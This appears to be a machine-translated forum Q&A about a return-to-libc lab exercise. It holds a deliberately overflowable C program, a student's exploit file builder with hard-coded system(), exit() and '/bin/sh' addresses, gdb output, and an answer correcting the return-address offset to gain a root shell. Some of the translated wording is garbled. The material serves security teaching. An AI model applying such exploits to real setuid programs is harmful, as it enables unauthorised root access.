c-返回libc攻击



这是一个由两部分组成的问题:

a) 我正在处理返回到libc的攻击,但由于某种原因没有得到根shell。我应该接受一个易受攻击的程序:retlib.c.

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properlyn");
        fclose(badfile);
        return 1;
}

我正在使用我的漏洞:explore_1.c

/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
    *(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
    *(long *) &buf[16] = 0x40076430; // system()
    *(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}

我使用gdb:找到了系统和出口的地址

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1 
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb) 

我使用myshell.c程序找到了/bin/sh地址:

//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
        char* shell = getenv("MYSHELL");
        if(shell)
        printf("%xn", (unsigned int) shell);
}

比使用命令:

[02/15/2015 21:46] cs4393@ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393@ubuntu:~/project2$ ./myshell
bffffe86

我觉得我做的每件事都是对的,但我总是犯"分割错误(核心被甩了)"。我正在使用无fstack保护器,chmod 4755和ASLR关闭。有什么问题吗?

b) 我也在使用retlib env.c:

/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        char* shell=getenv("MYSHELL");
        if(shell)
                printf("%xn", (unsigned int)shell);
        badfile = fopen("badfile", "r");
        //system(shell);
        bof(badfile);
        printf("Returned Properlyn");
        fclose(badfile);
        return 1;
}

在我看来,这与a部分类似,但"在这个例子中,易受攻击的程序retlib env.c将引用MYSHELL环境。"。任何朝着正确方向的暗示或轻推都会非常有帮助。我有MYSHELL,但我真的不确定我需要如何引用它来利用retlib env.c。它不是应该与a部分非常相似吗?

函数system()、exit()等的地址可能在每次程序调用时都会发生变化。您不能依赖于加载pogram、取消这些地址的调试、关闭调试会话并再次运行程序,因为第二次可能在完全不同的起始地址加载了perogram。
$gdb -q retlib

你需要找到系统和出口地址的retlib不利用。漏洞利用仅准备一个漏洞利用文件。Retlib读取此文件直到缓冲区溢出。据我所知,系统地址段应该在缓冲区之后12开始,这意味着它将是buf[24]。

程序名称的长度将影响堆栈中环境变量的地址。为了获得字符串/bin/sh的正确地址,您应该保持搜索/bin/sh的程序长度(即myshell)等于您的最终攻击程序长度(如retlib)。

此外,您需要找出返回帧地址,该地址应该是4加上bofebp&buffer之间的距离,该地址在您的代码中应该是20+4=24,而不是16。您可以在使用标志-g编译的程序上通过gdb进行验证。

最新更新